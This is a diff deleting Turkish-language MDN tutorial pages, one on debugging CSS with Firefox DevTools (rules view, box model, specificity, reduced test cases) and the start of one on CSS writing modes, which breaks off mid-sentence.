Öğren/CSS/CSS_yapi_taslari/Debugging_CSS ---- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}</div> - -<p>Bazen CSS yazarken, CSS'in beklediğini yapmadığı bir sorunla karşılaşabilirsin. Belki belirli bir seçicinin bir öğeyle eşleşmesi gerektiğine inanıyorsun ancak hiçbir şey olmuyor veya bir kutu beklediğinden farklı bir boyuttadır. Bu ders, bir CSS sorununu nasıl gidereceğin konusunda rehberlik edecek ve tüm modern tarayıcılarda bulunan DevTools'un neler olup bittiğini öğrenmene nasıl yardımcı olabileceğini gösterecektir.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a class="new" href="/tr/docs/Learn/CSS/First_steps" rel="nofollow">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Tarayıcının temellerini ve DevTools ile CSS'in basit bir şekilde nasıl incelenip düzenlenebileceğini öğrenmek</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcılarda_DevToolsa_nasıl_erişilir">Tarayıcılarda DevTools'a nasıl erişilir</h2> - -<p><a href="/tr/docs/Learn/Common_questions/What_are_browser_developer_tools">Tarayıcı geliştirici araçları nelerdir</a> dersi; çeşitli tarayıcılarda ve platformlarda araçlara nasıl erişileceğini açıklayan güncel bir rehberdir. Çoğunlukla belirli bir tarayıcıda geliştirmeyi seçebilir ve bu nedenle o tarayıcıda bulunan araçlara aşina olabilirsin. Fakat bunlara diğer tarayıcılarda da nasıl erişebileceğini bilmek faydalı olacaktır. Bu, birden çok tarayıcı arasında tasarımında farklılıklar görüdüğünde yardımcı olacaktır.</p> - -<p>Ayrıca, tarayıcılar DevTools'larını oluştururken farklı alanlara odaklandıklarını göreceksin. Örneğin, Firefox'ta CSS düzeni ile görsel olarak çalışabilmek için, <a href="/tr/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Izgara Düzeni</a>, <a href="/tr/docs/Tools/Page_Inspector/How_to/Examine_Flexbox_layouts">Flexbox</a>'ı ve <a href="/tr/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">Biçimleri</a> incelemenizi ve düzenlemenizi sağlayan bazı mükemmel araçları vardır. Ancak, diğer tarayıcılar da bunlara benzer temel araçlara sahiptirler.</p> - -<p>Bu derste, Firefox Geliştirici Araçlarının CSS ile çalışmak için bazı yararlı özelliklerine bakacağız. Bunu yapmak için <a href="https://mdn.github.io/css-examples/learn/inspecting/inspecting.html">örnek bir dosya</a> kullanacağım. Devam etmek istiyorsanız bunu yeni bir sekmede açman ve yukarıda bağlantısı verilen derste açıklandığı gibi DevTools'a erişmelisin.</p> - -<h2 id="DOM_ve_görüntüleme_kaynağı_karşılaştırması">DOM ve görüntüleme kaynağı karşılaştırması</h2> - -<p>Yeni gelenleri DevTools'a çekebilecek bir şey, bir web sayfasının <a href="/tr/docs/Tools/View_source">kaynağını görüntülediğinde</a> veya sunucuya koyduğunuz HTML dosyasına baktığınızda gördüklerin ile DevTools'un <a href="/tr/docs/Tools/Page_Inspector/UI_Tour#HTML_pane">HTML Panelinde</a> görebileceklerin arasındaki farktır. Kaynağı Görüntüle aracılığıyla görebileceğine kabaca benzer görünse de bazı farklılıklar vardır.</p> - -<p>Tarayıcı DOM'da kötü yazılmış bazı HTML'yi bizim için düzeltmiş olabilir. Bir öğe yanlış kapatılmış ise, örneğin bir adet açmış olduğunuz <code><h2></code><font><font> etiketini </font></font><code></h3></code> ile kapatırsanız, tarayıcı ne yapmak istediğinizi anlar ve DOM'daki HTML'yi yanlış kapatılan <code></h3></code>'ü <code></h2></code> ile düzeltir. Tarayıcı ayrıca tüm HTML'yi normalleştirecek ve DOM'daki JavaScript tarafından yapılan tüm değişiklileri de gösterecektir.</p> - -<p>Kaynağı görüntüle ile görünen sunucuda depolanan HTML kaynak kodudur. DevTools ile karşılaştırıldığında, DevTools ziyaret edilen sayfanın ziyaret edildiği esnada kaynak kodunun yanında yeniden şekillendirilen(JavaScript vb) <a href="/tr/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#HTML_tree">HTML ağacı</a>'nda ne olup bittiği hakkında daha detaylı bilgi vermektedir.</p> - -<h2 id="Uygulanan_CSSi_inceleme">Uygulanan CSS'i inceleme</h2> - -<p>Sayfanda incelemek istediğin öğeyi seçtikten sonra, farenin sağ/ctrl+sol tuşuyla tıkladıktan sonra açılan menüden <em>öğeyi incele</em>'yi seçerek veya <em>Araçlar</em> menüsündeki <em>Web geliştirici</em> sekmesinde bulunan seçeneklerden birini seçerek <em>DevTools'a</em> geçiş yapabilirsin. Ders boyunca ortak çalışma alanımız olması için hazırladığım örnek web sayfasındaki <code>box1</code> sınıfına atanmış öğeyi seçip <em>DevTools'u </em>aktif hale getirerek anlatımıza başlayabiliriz. Seçecek olduğumuz öğe örneğimizdeki kenarlığa sahip ilk öğededir.</p> - -<p><img alt="The example page for this tutorial with DevTools open." src="https://mdn.mozillademos.org/files/16606/inspecting1.png" style="border-style: solid; border-width: 1px; height: 1527px; width: 2278px;"></p> - -<p>Açılan <em>DevTools</em> ekranında birçok sekme ve bu sekmeler içerisinde çeşitli düzenleme ve kontrol alanlarının olduğunu göreceksin. Açılan bölümde <em>Denetçi</em> sekmesinde bulunan HTML alanının sağındaki <a href="/tr/docs/Tools/Page_Inspector/UI_Tour#Rules_view">Kurallar görünümüne</a> bakarsan, seçmiş olduğun öğeye uygulanan CSS niteliklerini ve değerlerini görmelisin. Öğemize doğrudan uygulanan <code>box1</code> sınıfına ait kuralları ve ebeveynlerinden miras aldığı CSS kurallarını listeleyecektir, bizim durumumuzda öğemizin ebeveyni olan <code><body></code>'den alınan miraslar da olacaktır. İstemediğimiz CSS davranışlarını tespit etmemize olanak sağlayacak yer burasıdır. Belki bir üst öğeden miras alıyordur veya farklı bir kuralın etkisi altındadır. Böyle bir durumla karşılaştığımızda bu öğe için yeni bir kural yazılıp yazılmayacağına karar vermemize yardımcı olacak kısım da burasıdır.</p> - -<p>Ayrıca, kısa tanımları genişletme yeteneğini de faydalı bulacaksın. Örneğimizde kullandığım <code>margin</code> kısa tanımı üzerinden ilerleyelim.</p> - -<p><strong>Kısa tanımı genişletip uzun tanımlarının nitelik ve özelliklerini görebilmek için, nitelik etiketinin sonunda, değerin ise önünde bulunan küçük oka tıklayalım. Bu küçük ok aynı zamanda hangi niteliklerin kısa tanım olduğunu bilmemizde bize yardımcı olur. Kısa tanım olmayan nitelik etiketlerinin sonunda bu küçük ok bulunmaz.</strong></p> - -<p><strong>Kurallar görünümünde aynı zamanda öğemize uygulanan CSS kurallarını aktif/pasif konumuna getirebiliriz. Farenin imlecini niteliğimizin üzerine getirdiğimizde görünen onay kutusunun onayını kaldırdırdığımızda öğeye uygulanan CSS kuralının artık uygulanmadığını görebilirsin. Yeniden aktifleştirmek için onay kutusunu onaylaman yeterli olacaktır. Örneğin, <code>border-radius</code> niteliğimizin onay kutusunudaki işareti kaldırırsak CSS uygulamayı durduracaktır. Kısa tanımların uzun tanımlarını görebiliriz fakat bunların bildirimlerini bizim yapmadığımız ve <em>DevTools</em> bilgi için listelediğinden bunları aktif/pasif konumuna getiremeyiz. Uzun tanımların da aktif/pasif olabilmesi için CSS dosyamızda bizim tarafından tanımlanması gerekmektedir.</strong></p> - -<p>Bunu bir A/B karşılaştırması yapmak, kuralın uygulanmış halinin mi yoksa uygulanmadığı halinin mi daha iyi olduğuna karar vermek ve aynı zamanda bir hatalı gösterim varsa bu hatanın işlem yaptığımız kuraldan mı kaynaklandığını bulabilmek için bu özelliği kullanırız. Mesela tasaramımızda bir düzensizlik var ve <code>box1</code> sınıfımıza ait kuralların içerisindeki bir bildirimden mi kaynaklandığını tespit etmek istiyorsak, tek tek bildirimlerimiz üzerindeki onay kutularının işaretlerini kaldırıp kontrol etmemizi sağlar.</p> - -<p>Aşağıdaki video, Firefox Geliştirici Araçlarını kullanarak CSS'de hata ayıklama konusunda bazı yararlı ipuçları sağlar:</p> - -<p>{{EmbedYouTube("O3DAm82vIvU")}}</p> - -<h2 id="Değerleri_düzenleme">Değerleri düzenleme</h2> - -<p>Nitelikleri aktif/pasif konuma getirmenin yanı sıra niteliklerimizin değerlerini de değiştirebiliriz. Bir öğenin boyutunun daha büyük/küçük olmasını ve belki başka bir rengin daha iyi görünmesine veya daha iyi bir kontrasta sahip olabileceğini görmek isteyebiliriz. DevTools bir stil sayfasını düzenlemek ve sayfayı yeniden yüklemekten daha fazla zaman kazandırır.</p> - -<p><strong>Seçtimiz <code>box1</code> sınıfına ait öğemizin <em>Kurallar görünümündeki</em> <code>color</code> niteliğinin yanıda ki küçük renkli daireye tıklayalım.</strong><strong> Bir renk seçicinin açıldığını ve farklı renkleri deneyebilmemiz için tanımlanabilecek tüm renkleri bize gösterdiğini göreceksin. Bu küçük pencereden istediğin rengi seçebilir ve bu seçiminin gerçek zamanlı web belgenize uygulandığını görebilirsin. Benzer bir şekilde, kenarlığın genişliğini, stilini veya rengini de değiştirebilirsin.</strong></p> - -<p><img alt="DevTools Styles Panel with a color picker open." src="https://mdn.mozillademos.org/files/16607/inspecting2-color-picker.png" style="border-style: solid; border-width: 1px; height: 1173px; width: 2275px;"></p> - -<h2 id="Yeni_nitelik_eklemek">Yeni nitelik eklemek</h2> - -<p><em>DevTools'u</em> kullanarak niteliklerde ekleyebiliriz. Belki de kutunun <code><body></code> öğesinden miras aldığı yazı tipi boyutunu değiştirmek ve kendi boyutunu ayarlamak istediğini fark edebilirsin. Bunu CSS dosyanıza eklemeden önce DevTools'ta yapabilirsin.</p> - -<p><strong>Yeni bir bildirim girebilmek için kuralın sonunda bulunan <code>}</code> süslü paranteze tıklamalısın, bu noktada yeni niteliği yazmaya başladığında DevTools size öğenizle eşleşen tüm niteliklerin otomatik tamamlama listesini sunacaktır. İstediğiniz niteliği seçtikten/yazdıktan sonra istediğiniz değeri verebilirsiniz. Biz burada örnek olması itibariyle <code>font-size</code> niteliğini seçeceğiz. Aynı seçiciyle ek bir kural eklemek için Kural görünümünde bulunan + düşmesine tıklayabilir ve yeni kuralını oluşturabilirsin.</strong></p> - -<p><img alt="The DevTools Panel, adding a new property to the rules, with the autocomplete for font- open" src="https://mdn.mozillademos.org/files/16608/inspecting3-font-size.png" style="border-style: solid; border-width: 1px; height: 956px; width: 2275px;"></p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Kurallar görünümde başka yararlı özelliklerde vardır. Buna örnek geçersiz bir değere sahip veya başka bir kural tarafından ezilen bildirimlerin üzerleri çizilir Daha fazla bilgi için <a href="/tr/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">CSS'i inceleme ve düzenleme</a> dersine bakın.</p> -</div> - -<h2 id="Kutu_modelini_anlamak">Kutu modelini anlamak</h2> - -<p>Önceki derslerde <a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu Modeline</a> verdiğimiz boyutun üzerine dolgu ve kenarlık genişliklerinin de eklendiğini, ayrıca bu hesaplama yöntemini değiştiren alternatif bir kutu modelimizin olduğunu öğrenmiştik. DevTools bir öğenin boyutunun nasıl hesaplandığını anlamamıza da yardımcı olur.</p> - -<p><a href="/tr/docs/Tools/Page_Inspector/UI_Tour#Layout_view">Düzen görünümde(Layout)</a> seçilen öğenin kutu modelinin satır içi genişliğini/yüksekliğini ve dolgu, kenarlık ve boşluk genişliklerini gösteren bir diagramla birlikte kutunun açıkça tanımlanmamış olsa bile kutu modeli niteliklerini ve değerlerini gösteren bir alanda bulunmaktadır.</p> - -<p>Bu panelde, kutu modeli özelliklerinden biri olan <code>box-sizing</code> öğenin hangi kutu modelini kullandığını kontrol eden niteliktir.</p> - -<p><strong><code>box1</code></strong><strong> ve <code>box2</code> sınıflarına dahil olan kutuları karşılaştırdığında, her ikisinin de genişliğinin 400 piksel olacak şekilde tanımlandığını, ancak <code>box1</code> sınıfına dahil olan kutunun diğer kutudan daha geniş göründüğünü görürsün. İki kutu arasındaki bu farkın birinci kutunun kutu modeli niteliğinin <code>context-box</code> değerine sahip olmasından kaynaklanmaktadır. Bu değer kutuya verdiğimiz genişliğe ek olarak, dolgu ve kenarlık genişliklerinin de eklenmesine sebeb olmuştur ve kutumuzun satır içi geniliği verdiğimiz genişlikle aynı olmuştur.</strong></p> - -<p><strong><code>box2</code> sınıfına dahil olan öğemizin kutu modeli <code>border-box</code> olduğundan verdiğimiz genişlikten dolgu ve kenarlık genişlikleri çıkartılmış ve kutumuzun satır içi genişliği 350 piksel olmuştur. Ama kutunun da sayfada kapladığı alanı tam olarak belirtebilmemize olanak sağlamıştır. Bizim tanımlamamızda kutumuzun sayfada kapladığı alanın genişliği 400px olacaktır.</strong></p> - -<p><img alt="The Layout section of the DevTools" src="https://mdn.mozillademos.org/files/16609/inspecting4-box-model.png" style="border-style: solid; border-width: 1px; height: 1532px; width: 2275px;"></p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: <a href="/tr/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model">Kutu Modelini İnceleme ve Düzenleme</a> bölümünden daha fazla bilgi edinebilirsin.</p> -</div> - -<h2 id="Özgüllük_sorunlarını_çözme">Özgüllük sorunlarını çözme</h2> - -<p>Bazen mevcut bir sitede geliştirme yaparken CSS kurallarınının gerektiği gibi uygulanmadığını, farklı kuralların zorluklar yaşattığını göreceksin. Ne yaparsan yap öğen CSS'i uygulamıyor gibi gözükecek. Mühtemelen burada oluşan hata, özgüllüğü daha yüksek olan bir seçicinin, oluşturmuş olduğun kuralı geçersiz kılmasıdır ve DevTools bunların tespitinde de yardımcı olacaktır.</p> - -<p>Örnek dosyamızda bir <code><em></code> öğesi içerisinde iki kelimemiz bulunmakta. Birinci turuncu, diğeri ise sıcak pembe olarak görüntülenmektedir. Öğeye uyguladığım CSS kuralı aşağıda:</p> - -<pre class="brush: css notranslate">em { - color: hotpink; - font-weight: bold; -}</pre> - -<p>Bunla birlikte stil sayfamda <code>.special</code> sınıf seçicisine sahip bir kuralım daha var:</p> - -<pre class="brush: css notranslate">.special { - color: orange; -}</pre> - -<p><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Art arda denetim ve miras</a> dersinden hatırlayacağınız gibi, sınıf seçiciler öğe seçicilerden daha yüksek bir özgüllüğe sahiptir. DevTools, nitelik kurallarının bulunduğu büyük stil sayfalarında bu tür çakışmaları bulmanda yardımcı olacaktır.</p> - -<p><strong>Kontrol görünümünde <code><em></code> öğe ve <code>.special</code> sınıf seçicilerinin öğemize uyguladığı kuralları ve bu kuralların içerisinde turuncu renk bildirimin geçerli olduğunu, öğe seçicimiz içerisinde bulunan <code>color</code> niteliğininde üzerinin çizik olduğunu görebilirsin. Artık aynı tür öğenin içerisinde bulunan metinlerin neden farklı olduğunu anlayabiliyoruz.</strong></p> - -<p><img alt="Selecting an em and looking at DevTools to see what is over-riding the color." src="https://mdn.mozillademos.org/files/16610/inspecting5-specificity.png" style="border-style: solid; border-width: 1px; height: 1161px; width: 2275px;"></p> - -<h2 id="Firefox_Geliştirici_Araçları_hakkında_daha_fazla_bilgi_edinin">Firefox Geliştirici Araçları hakkında daha fazla bilgi edinin</h2> - -<p>MDN'de Firefox DevTools hakkında pek çok bilgi mevcuttur. Daha ayrıntılı bilgi alabilmek ve işlerin nasıl yürüdüğünü öğrenebilmek için <a href="/tr/docs/Tools">DevTools bölümüne</a> ve <a href="/tr/docs/Tools/Page_Inspector#How_to">Nasıl Yapılır Rehberi'ne</a> bakın.</p> - -<h2 id="CSSde_hata_ayıklama_sorunları">CSS'de hata ayıklama sorunları</h2> - -<p>DevTools, CSS sorunlarını çözerken çok yardımcı olabilir, bu nedenle kendini CSS'inin beklediğin gibi davranmadığı bir durumla karşılaştığında, nasıl davranmalısın? Aşağıdaki adımlar yardımcı olacaktır.</p> - -<h3 id="Sorundan_bir_adım_uzaklaşın">Sorundan bir adım uzaklaşın</h3> - -<p>Herhangi bir kodlama problemleri özelliklede CSS problemleri oldukça can sıkıcı olabilir, çünkü çevrim içi aramayla bir çözüm bulmaya yardımcı olabilecek hata mesajı vermez. Hayal kırıklığına uğrarsınız, bir süre konudan uzaklaşın — yürüyüşe çıkın, bir şeyler için, bir arkadaşınızla sohbet edin veya bir süre başka bir konu üzerinde çalışın. Bazen sorun hakkında düşünmeyi bıraktığınızda çözüm sihirli bir şekilde ortaya çıkar. Böyle olmasa bile kendini dinlenmiş, dinç ve iyi hissettiğinden sorun üzerinde daha rahat çalışabilirsin.</p> - -<h3 id="HTML_ve_CSS_kodların_geçerli_mi">HTML ve CSS kodların geçerli mi?</h3> - -<p>Tarayıcılar, CSS ve HTML'nin doğru şekilde yazılmasını bekler, ancak tarayıcılar kusurları örterek, biçimlendirme veya stil sayfasında hataların olsa bile web sayfanı görüntülemek için ellerinden geleni yapacaklardır. Kodunda hatalar varsa, tarayıcının ne demeye çalıştığını tahmin etmesi gereki ve olmasını istediğinden farklı bir karar verebilir. Ek olarak, iki farklı tarayıcı sorunlarla farklı şekilde başa çıkmaya çalışabilir. Bu nedenle web sayfanı yayınlamadan önce herhangi bir hatanın olup olmadığını doğrulamak için HTML ve CSS'ini bir doğrulama aracıyla test etmen gerekir.</p> - -<ul> - <li><a href="https://jigsaw.w3.org/css-validator/">CSS doğrulayıcı</a></li> - <li><a href="https://validator.w3.org/">HTML doğrulayıcı</a></li> -</ul> - -<h3 id="Nitelik_ve_değer_test_ettiğin_tarayıcı_tarafından_destekleniyor_mu">Nitelik ve değer, test ettiğin tarayıcı tarafından destekleniyor mu?</h3> - -<p>Tarayıcılar, anlamadıkları CSS'i görmezden gelir. Kullandığınız özellik veya değer, test ettiğiniz tarayıcı tarafından desteklenmiyorsa, hiçbir şey bozulmaz ancak desteklenmeyen bildiriminiz uygulanmaz. DevTools genellikle desteklenmeyen özellikleri ve değerleri bir şekilde vurgular. Aşağıdaki ekran görüntüsünde, tarayıcı {{cssxref("grid-template-columns")}} için alt ızgara değerlerini desteklemiyor.</p> - -<p><img alt="Image of browser DevTools with the grid-template-columns: subgrid crossed out as the subgrid value is not supported." src="https://mdn.mozillademos.org/files/16641/no-support.png" style="height: 397px; width: 1649px;"></p> - -<p>MDN'deki her özellik sayfasının altındaki Tarayıcı uyumluluk tablolarına da göz atabilirsin. Tablolarda nitelik için tarayıcı desteğini gösterir, niteliğin bazı kullanımı için destek varsa ve diğerleri için desteklenmiyorsa bölünür. Aşağıdaki tablo {{cssxref("shape-outside")}} niteliği için tarayıcı uyum verilerini göstermektedir.</p> - -<p>{{Compat("css.properties.shape-outside")}}</p> - -<h3 id="CSSini_geçersiz_kılan_başka_bir_etken_mi_var">CSS'ini geçersiz kılan başka bir etken mi var?</h3> - -<p>Özgüllük hakkında öğrendiğiniz bilgilerin çok faydalı olacağı yer burasıdır. Yapmaya çalıştığınız etkiyi geçersiz kılan daha karakteristik bir kuralınız varsa, ne olduğunu anlamaya çalıştığın bir durumun içerisinde kendini bulabilirsin. Bu durumda DevTools CSS'ini neyin geçersiz kıldığını vurgulayarak gösterecek ve geçersiz kılan karakteristik kuralınızı geçersiz kılabilecek bir kural yazmanız gerektiğini öğrenebileceksiniz.</p> - -<h3 id="İndirgenmiş_test_senaryosu">İndirgenmiş test senaryosu</h3> - -<p>Sorun yukarıdaki adımlarla çözülmediyse, biraz daha uğraşman gerekecektir. Bu noktada yapılacak en iyi şey, indirgenmiş test senaryosu olarak bilinen bir ortam oluşturmaktır. "Bir sorunu azaltabilmek" gerçekten yararlı bir beceridir. kendi kodundaki ve meslektaşlarının kodundaki sorunları bulmana yardımcı olacak ve ayrıca hataları bildirmenize, hatta daha etkili bir şekilde yardım istemenize olanak sağlayacaktır.</p> - -<p>İndirgenmiş test senaryosu, ilgisiz görünen içerikleri ve stilleri kaldırarak sorunu mümkün olan en basit şekilde oluşturan kod bloğudur. Bu genellikle, hatalı olarak gördüğünüz görüntüyü oluşturan kodların ve kuralların diğer çalışan kodlarınızdan ve kurallarınızdan ayrıştırılması anlamına gelir.</p> - -<p>İndirgenmiş bir test senaryosu oluşturmak:</p> - -<ol> - <li>Biçimlendirmeniz dinamik olarak oluşturulmuşsa — örn. CMS aracılığıyla — sorunu oluşturan kodlarınızın statik/sabit bir sürümünü oluşturun. <a href="https://codepen.io/">CodePen</a> gibi çevrim içi kodlamaya ve paylaşmaya imkan tanıyan web sayflarıyla çalışarak koduna heryerden ulaşabilir ve meslektaşlarınla kolayca paylaşabilirsin. Bunun için sayfa kaynağını görüntüleyi seçip HTML'yi CodePen'e kopyalaman, ardından ilgili CSS ve JavaScript'i de alıp çalışmana dahil etmelisin. Bundan sonra sorunun halen devam edip etmediğini kontrol edebilirsin.</li> - <li>JavaScript'i kaldırıp sorunun devam edip etmediğine bakın. Eğer javascript kaldırmanız sorunu çözmediyse javascript kodunuzu yeniden ekleyin.</li> - <li>Soruna katkıda bulunmayan tüm HTML'leri kaldırın. Düzenin bileşenlerini ve hatta ana öğelerini kaldırın ve sorunu devam etmesine sağlayacak en küçük kod bloğuna kadar inmeye çalışın.</li> - <li>Sorunu etkilemeyen tüm CSS'leri kaldırın.</li> -</ol> - -<p>Bunu yapma sürecinde, belirlirli nitelikleri açıp kapatarak soruna neyin olduğunu keşfedebilirsin. Bir şeyler keşfettikçe kodlarının arasına bazı yorumlar eklemeyi de unutma. Yardım istemen gerektiğinde, size yardım eden kişiye denediklerinizi de gösterebilirsiniz.</p> - -<p>Hala sorunu çözmek için mücadele ediyorsanız, indirgenmiş bir test senaryosuna sahip olmanız bir forum sayfasında veya iş arkadaşınıza gösterebileceğiniz yalın bir dosyanız olmuş olur. Yardım istemeden önce sorunu dar bir kalıbın içerisine hapsetmiş olmanız, sorun hakkında yardım alma olasılığınız çok daha yüksek olacaktır. Çünkü kimse bir başkasının kod karmaşası içerisinde uğraş vermek istemez. Yardım isteyen kişinin çözüm için bir çabasının olduğunu bilmek ister. Çünkü öğrenim, problemlerin çözümlerini arama aşamasında olgunlaşır. Yoksa öğretmenlerimiz neden problem versinler ki.</p> - -<p>Sorunun aslında bir tarayıcıdaki hatadan kaynaklanması durumunda, ilgili tarayıcı geliştiricilerine bir hata raporu içerisinde indirgenmiş test senaryonu da göndermen faydalı olacaktır(örn. Mozilla'nın <a href="https://bugzilla.mozilla.org">bugzilla</a> sitesi).</p> - -<p>CSS ile daha deneyimli hale geldikçe, sorunları çözmede daha hızlı olduğunuzu göreceksiniz. Ancak en tecrübeli bizler bile bazen kendimizi dünyada neler olup bittiğini merak ederken buluruz. Metodik bir yaklaşım benimsemek, indirgenmiş bir test senaryosu oluşturmak ve sorunu başka birine açıklamak genellikle düzeltmenin bulunmasıyla sonuçlanacaktır.{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Kaynak sırası ve miras</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a> - <ul> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tür, sınıf ve kimlik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde öğeler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Birleştiriciler</a></li> - </ul> - </li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve kenarlıklar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönleri kullanma</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşan içerik</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units">Değerler ve birimler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de öğelerin boyutları</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Görseller, medya ve form öğeleri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Styling_tables">Tabloları şekillendirme</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS'de hata ayıklama</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Organizing">CSS'ini düzenleme</a></li> -</ol> diff --git a/files/tr/learn/css/building_blocks/handling_different_text_directions/index.html b/files/tr/learn/css/building_blocks/handling_different_text_directions/index.html deleted file mode 100644 index f0f6d6a04b..0000000000 --- a/files/tr/learn/css/building_blocks/handling_different_text_directions/index.html +++ /dev/null @@ -1,169 +0,0 @@ ---- -title: Farklı metin yönlerini kullanma -slug: Learn/CSS/Building_blocks/Handling_different_text_directions -tags: - - Başlangıç - - Beginner - - CSS - - Eğitim - - Learn - - logical properties - - mantıksal ozellikler - - writing modes - - yazma modu -translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions -original_slug: Öğren/CSS/CSS_yapi_taslari/Handling_different_text_directions ---- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}</div> - -<p>CSS öğrenimimizde şimdiye kadar karşılaştığımız özelliklerin çoğu, ekranımızın fiziksel boyutlarına bağlanmıştır. Örneğin bir kutunun üstünde, sağında, altında ve solunda kenarlıklar oluşturmak gibi. Bu fiziksel boyutlar, yatay olarak görüntülenen içeriğe çok düzgün bir şekilde eşleşir ve HTML varsayılan olarak, soldan sağa dilleri(örn. Türkçe veya İngilizce), sağdan sola yazılan dillere(Arapça gibi) göre daha iyi destekleme eğilimindedir.</p> - -<p>Ancak son yıllarda, sağdan sola ve aynı zamanda yukarıdan aşağıya içeriklerde(Japonca gibi) dahil olmak üzere farklı içerik yönlerine daha iyi destek vermek için CSS gelişti — bu farklı yönlerin görüntülenmesine <strong>yazma modu</strong> denir. Çalışmanda ilerledikçe ve mizanpajla çalışmaya başladığında, yazma modlarını anlamak çok yardımcı olacaktır, bu nedenle şimdi onu tanıtacağız.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a class="new" href="/tr/docs/Learn/CSS/First_steps" rel="nofollow">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Modern CSS için yazma modlarının önemini anlamak.</td> - </tr> - </tbody> -</table> - -<h2 id="Yazma_modları_nelerdir">Yazma modları nelerdir?</h2> - -<p>CSS'de bir yazma modu, metnin yatay mı yoksa dikey mi çalıştığını ifade eder. {{cssxref("writing-mode")}} niteliği bize mevcut yazma modundan başka bir yazma moduna geçiş yapmamıza olanak sağlar. Bunu yapmak için dikey yazı modu kullanan bir dilde çalışmana gerek de yoktur — tasarımının bölümlerinin yazma moduna yaratıcı amaçlala da değiştirebilirsin.</p> - -<p>Aşağıdaki örnekte <code>writing-mode: vertical-rl</code> kullanılarak görüntülenen bir başlığımız var. Metin artık dikey olarak çalışıyor. Dikey metin, grafik tasarımında yaygındır ve web tasarımına daha ilginç bir görünüm ve his katmanın bir yolu olabilir.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/writing-modes/simple-vertical.html", '100%', 800)}}</p> - -<p><code><a href="/en-US/docs/Web/CSS/writing-mode">writing-mode</a></code> niteliği için olası üç değer şunlardır:</p> - -<ul> - <li><code>horizontal-tb</code>: Yukarıdan aşağıya blok akış yönü. Cümleler yatay olarak ilerler.</li> - <li><code>vertical-rl</code>: Sağdan sola blok akış yönü. Cümleler dikey olarak ilerler.</li> - <li><code>vertical-lr</code>: Soldan sağa blok akış yönü. Cümleler dikey olarak ilerler.</li> -</ul> - -<p>Yani <code>writing-mode</code> niteliği öğelerin sayfada, bloklar halinde görüntülendiği yönü belirler — yukarıdan aşağıya, sağdan sola veya soldan sağa. Bu daha sonra metnin cümlelerde aktığı yönü belirler.</p> - -<h2 id="Yazma_modları_ve_blok_ve_satır_içi_düzen">Yazma modları ve blok ve satır içi düzen</h2> - -<p><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model#Block_and_inline_boxes">Blok ve satır içi düzeni</a>, daha önce bazı 